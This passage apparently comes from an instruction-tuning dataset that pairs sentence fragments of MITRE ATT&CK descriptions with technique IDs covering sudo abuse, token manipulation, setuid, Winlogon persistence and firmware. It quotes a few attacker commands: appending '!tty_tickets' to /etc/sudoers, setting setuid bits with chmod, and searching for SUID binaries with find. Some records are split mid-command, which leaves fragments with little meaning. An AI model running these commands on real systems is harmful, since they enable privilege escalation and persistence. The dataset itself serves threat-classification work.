lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD:", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If it does, then malware can execute sudo commands without needing to supply the user's password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If it does, then malware can execute sudo commands without needing to supply the user's password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults ! ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton)", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order for this change to be reflected, the malware also issued <code>killall", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order for this change to be reflected, the malware also issued <code>killall ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Terminal</code>.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Terminal</code>. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)).", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code> or via shorthand naming, <code>chmod u+s", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code> or via shorthand naming, <code>chmod u+s ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code>.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code>. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will enable the setuid bit.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will enable the setuid bit. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation:", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Keydnap malware)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Keydnap malware) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)).", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>find</code> command can also be used to search for such files.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>find</code> command can also be used to search for such files. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation:", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.", "output": "T1019", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. ### Response: T1019."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI)", "output": "T1019", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) ### Response: T1019."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity.", "output": "T1019", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. ### Response: T1019."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "output": "T1019", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. ### Response: T1019."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary 